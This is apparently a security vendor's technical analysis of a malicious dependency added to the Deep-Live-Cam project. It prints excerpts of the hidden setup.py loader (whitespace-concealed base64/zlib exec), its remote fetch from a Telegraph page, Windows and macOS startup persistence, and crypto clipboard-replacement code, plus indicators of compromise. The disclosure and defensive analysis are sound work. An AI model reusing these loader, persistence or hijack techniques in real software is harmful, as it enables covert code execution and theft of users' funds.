Deep-Live-Cam Supply Chain Attack: Technical Analysis

SafeDep Team
8 min read

Summary

On September 8, 2026, an attacker added a malicious source dependency to Deep-Live-Cam, a Python face swapping application with 96,600 GitHub stars. The dependency contains a loader that downloads a cryptocurrency clipboard hijacker for Windows and macOS. The recovered payload replaces wallet addresses in clipboard text and registers itself to run at login.

SafeDep traced the dependency change through the saved Python payloads and checked the incident against GitHub records. The evidence establishes malicious behavior in the code, but does not establish infection counts or financial losses.

A dependency change redirects installation

Commit 7895c547, titled chore: update requirements.txt, rewrote 18 dependency entries to use source repositories. It also added this entry:

# Deep-Live-Cam/requirements.txt, added line
requests @ git+https://github.com/pypls/requests.git

The new entry directs installation to pypls/requests. That repository declares the package name requests and retains metadata linking to the legitimate Requests project. The surrounding dependency changes make the added source URL less distinct. Concealment is a plausible explanation for that bulk rewrite. The diff alone does not establish that intent.

GitHub records the creation of the pypls account and its requests repository on September 5. The saved Telegraph page also carries a September 5 publication timestamp. These artifacts predate the dependency change by three days.

Date and time (UTC)Event
September 8, 15:58:54GitHub records a push of 7895c547 to main under hacksider.
September 9, 01:26:18fred-cardoso opens issue #1930 and identifies the malicious dependency.
September 9, 01:37:35GitHub records a push of revert 55d306d5 to main.
September 9, 01:39:12The maintainer reports password and key changes and closes the issue.

Sources: GitHub public push events, issue #1930, and the revert. The push events place the malicious revision on main for about 9 hours and 39 minutes.

The maintainer reported unusual account access despite two-factor authentication. That statement and the push record support an account compromise assessment. They do not identify the credential used. The unsigned commit and its author fields cannot distinguish a stolen token, SSH key, or session.

The source build runs hidden code

The malicious dependency selects this build backend:

# pypls/requests/pyproject.toml at 43f402baa9d00d986d2be3e3cd6d1a3e69ec1f8f
[build-system]
requires = ["setuptools>=61.0"]
build-backend = "setuptools.build_meta"

During source installation, pip calls the build backend to obtain build requirements, generate metadata, and build a wheel. The setuptools backend executes setup.py during these operations. A user can reach the malicious code before launching Deep-Live-Cam. An installation error after that point does not undo code execution.

Line 2 of setup.py starts with import sys, followed by 434 spaces before the next statement. Beyond that whitespace, the attacker placed imports and an exec(compile(...)) expression. It decodes a Base64 string, decompresses it with zlib, and executes the result. A second wrapper repeats this process and yields the loader saved as stage2_payload.py.

The following snippet shows the file structure. The 434 spaces on line 2 push the malicious code past the visible area in most editors and review tools. Chinese, Japanese, and Korean (CJK) variable names (一時1, シード5) add a second layer of visual noise.

# pypls/requests/setup.py at 43f402baa9d00d986d2be3e3cd6d1a3e69ec1f8f
# line 1
# -*- coding: utf-8 -*-
# line 2 (434 spaces between "import sys" and the semicolon replaced with ··· for display)
import sys ··· ;import zlib as _z,base64 as _b,sys as _s;一時1=b'xJnufpepOjFF0G5u/WM='; \
IlO1I1=b'AdrC77ZfFLRJuGZz/ZQ=';整数3=bytes([0xf0,0xb1,0x8c,0x70,0x1e,0x2d]); \
exec(compile(_z.decompress(_b.b64decode('eNodVsmu5FgR3b+vSKkX...')),'<string>','exec'))
# lines 4-6
if sys.version_info < (3, 10):
sys.stderr.write("Requests requires Python 3.10 or later.\n")
sys.exit(1)
# lines 8-10
from setuptools import setup
setup()

The hidden code precedes both the Python version check and setup(). The version check is not a guard around the loader. We decoded the embedded strings as data and verified that both outputs matched the saved artifact hashes.

The pip build isolation documentation describes separation of build dependencies. It does not provide a security sandbox for this code.

A Telegraph page delivers the next stage

The loader selects Windows or macOS and exits on other systems. Its download address uses hexadecimal encoding:

# stage2_payload.py, line 23
字符4 = bytes.fromhex('68747470733a2f2f67726170682e6f72672f636f64696e672d7574662d382d30392d30352d32').decode()

The decoded address is hxxps://graph[.]org/coding-utf-8-09-05-2. The page is live and serving the payload at the time of writing. The loader reads the page, finds the article body, converts line breaks, removes HTML tags, and decodes HTML entities. It then writes the extracted Python to a local file.

The following excerpt preserves the source identifiers and control flow. We decoded the string literals for readability:

# stage2_payload.py, lines 30-41; string literals decoded, outer indentation removed
I1O0Il1O = IO1l11.find('<article')
if I1O0Il1O == -1:
sys.exit(1)
I1Oll1llO1 = IO1l11.find('</article>', I1O0Il1O)
if I1Oll1llO1 == -1:
sys.exit(1)
モジュール10 = IO1l11[I1O0Il1O:I1Oll1llO1 + len('</article>')]
モジュール10 = re.sub('<br\\s*/?>', '\n', モジュール10, flags=re.IGNORECASE)
オブジェクト11 = re.sub('<[^>]*>', '', モジュール10)
オブジェクト11 = html.unescape(オブジェクト11).strip()
if not オブジェクト11:
sys.exit(1)

The destination is %LOCALAPPDATA%\WindowsHelper\sys.pyw on Windows or ~/Library/Application Support/HowToFind/sys.py on macOS. If the file exists, the loader skips the download and starts the existing script. Windows execution uses CREATE_NO_WINDOW. macOS execution starts a new session. Both branches discard standard output and standard error.

After writing a new file, the loader attempts a request to hxxps://abacus[.]jasoncameron[.]dev/hit/duff[.]com/info:

# stage2_payload.py, lines 45-48; string literal decoded, outer indentation removed
try:
urllib.request.urlopen('https://abacus.jasoncameron.dev/hit/duff.com/info', timeout=5)
except Exception:
pass

The endpoint path suggests a counter. The request occurs before the child process starts, so a hit would not prove successful payload execution.

The saved page contains two more Base64 and zlib layers. Static extraction and decoding reproduced the supplied stage2_from_c2.py, stage3_payload.py, and final stage4_payload.py hashes.

requirements.txt
→ pypls/requests/setup.py
→ two decoding layers → Windows/macOS loader
→ Telegraph article → local Python script
→ two decoding layers → persistence and clipboard replacement

The payload replaces clipboard addresses

The final payload reads the clipboard through Windows APIs or macOS pbpaste. It scans changed text for alphanumeric sequences of 26 to 120 characters, then passes each candidate to an address classifier. The replacement function is:

# stage4_payload.py, lines 364-373
def II01l010III(状态115: str, target_type: Optional[函数80]=None) -> str:
def OO001ll0(キュー103):
lO01l10I = 队列102(キュー103.group(0))
if not lO01l10I.ok or lO01l10I.type is None:
return キュー103.group(0)
if target_type is not None and lO01l10I.type != target_type:
return キュー103.group(0)
return lO01l10I.type.value
return lIlI111I.sub(OO001ll0, 状态115)

队列102 classifies the candidate. 函数80 maps each supported address type to a hardcoded replacement. The callback returns that replacement through type.value. Because the outer function uses regular expression substitution, it can replace an address within a larger piece of copied text.

The classifier includes Base58Check validation for Bitcoin and Tron, plus Bech32 and Bech32m checks for Bitcoin witness addresses. For Ethereum, it implements Keccak-256 and checks mixed-case addresses using Ethereum Improvement Proposal 55. Its Solana branch accepts Base58 candidates that decode to 32 bytes. These are input checks. They do not prove ownership of the replacement addresses or successful transfers. The payload also contains a Russian language error string, "Неизвестный тип кошелька" (“Unknown wallet type”), which is a minor language-origin indicator.

The loop writes changed text back through SetClipboardData or pbcopy:

# stage4_payload.py, lines 455-465
def Il1I0Ol(target_type: Optional[函数80]=None, **列表123):
キュー124 = 结果117()
while True:
III11l1 = 结果117()
if III11l1 is not None and III11l1 != キュー124:
返回126 = II01l010III(III11l1, target_type=target_type)
if 返回126 != III11l1 and 函数121(返回126):
キュー124 = 返回126
else:
キュー124 = III11l1
time.sleep(0.3)

The delay is 0.3 seconds between iterations. Linux clipboard helpers also appear in the final payload, but the earlier loader exits on Linux. Those helpers do not establish Linux exposure through this delivery path.

The payload registers startup persistence

Before starting the clipboard loop, the payload attempts to register itself for later execution.

On Windows, it writes a SysHelper value under HKCU\Software\Microsoft\Windows\CurrentVersion\Run. The command contains the Python interpreter and script path. It selects pythonw.exe when available:

# stage4_payload.py, lines 54-55 and 65-66; separate excerpts, string literal decoded
偏移14 = f'"{戻り値12}" "{浮点3}"'
掩码15 = 'SysHelper'
if 类别17 != 偏移14:
winreg.SetValueEx(O0IIOII, 掩码15, 0, winreg.REG_SZ, 偏移14)

On macOS, it writes ~/Library/LaunchAgents/com.user.syshelper.plist and invokes launchctl load. The generated property list contains these settings:

<!-- stage4_payload.py, 字典4() output template; excerpt with line breaks expanded -->
<key>RunAtLoad</key>
<true/>
<key>KeepAlive</key>
<true/>

Its ProgramArguments contain sys.executable and the script’s absolute path. This persistence depends on those files remaining available. Reverting requirements.txt does not remove the files or startup entries from an affected machine.

Indicators of compromise

The network indicators identify specific paths on shared services. They do not imply that all traffic to those services is malicious.

TypeIndicator
Malicious dependencyhxxps://github[.]com/pypls/requests
Analyzed dependency revision43f402baa9d00d986d2be3e3cd6d1a3e69ec1f8f
Deep-Live-Cam malicious revision7895c547a6788ee53e5c7c34e93454f86f6d2b53
Deep-Live-Cam revert55d306d5ae07a4e6494013422ab244306a5c0879
Payload pagehxxps://graph[.]org/coding-utf-8-09-05-2
Counter requesthxxps://abacus[.]jasoncameron[.]dev/hit/duff[.]com/info
Windows payload%LOCALAPPDATA%\WindowsHelper\sys.pyw
Windows startup valueSysHelper under HKCU\Software\Microsoft\Windows\CurrentVersion\Run
macOS payload~/Library/Application Support/HowToFind/sys.py
macOS startup file~/Library/LaunchAgents/com.user.syshelper.plist
Attacker account email[email protected] (from pypls commits)

These replacement strings come from the decoded 函数80 enumeration. Ethereum has three case variants of one address. The BTC_P2WSH and BTC_P2TR branches share the same bc1p replacement string.

Source labelReplacement string
ETH_EIP550x58d28b72c54A5b645201900c8aA8550ad7f7d90b
BTC_P2PKH1LeCcPytFxpeo6Leujc4USuCwec9oDFa92
BTC_P2SH3LKB1j9zgmSdaNWy3iLCiHVaV6b1qpLRXB
BTC_P2WPKHbc1q42m55rrtzjzf05dhp4az02lqqkpjemjddwwht3
BTC_P2WSH, BTC_P2TRbc1p68qmln48g90mpv6ukrmmhvp64qvx4evgu0h5s9mf6ljwp0n6ahnswhnpa6
TRX_BASE58CHECKTDfqUBRSnXcEeLWSGHKSWPAhRSySqEiykQ
SOL_ED255196ig8v2AAvVQh4qK5JBS9ZTSWRjCKTHhEq4SMV8oqWfmu

SHA-256 values identify the captured bytes, including intermediate decoded files. The hash of a decoded payload is not the hash of its encoded script on disk.

ArtifactSHA-256
setup.pyb34818f9208133c2fd2d0814162c6f3c59e35df518e3c95f998890f7e4a5e6f4
stage1_payload.pyf6fbefc82589dbeddabc8883c63cbb027239019ed38fafa83a9139c2585064f5
stage2_payload.py175f9e7fad2661f647c8f2438bf0d757fe18ab364a22c544c938f45e0e4f6ced
stage2_from_c2.py, extracted page codeeafed30038d53614cf3dc7a8f19c2dd663352b3c8cb78aa5ed1b9d9710017570
stage3_payload.pyc91a00b56ad2591236ccefd701a6b19b72dbacefadbdb0f11e13693c2d6764d9
stage4_payload.py, decoded clipboard hijacker73cb3c0e9afd9db32a392655ff58be5cc95b24fbc0f412202853dc0161dd0561
  • python
  • github
  • malware
  • supply-chain

Author

SafeDep Logo

SafeDep Team

safedep.io

Share

The Latest from SafeDep blogs

Follow for the latest updates and insights on open source security & engineering

Background
SafeDep Logo

Ship Code.

Not Malware.

Start free with open source tools on your machine. Scale to a unified platform for your organization.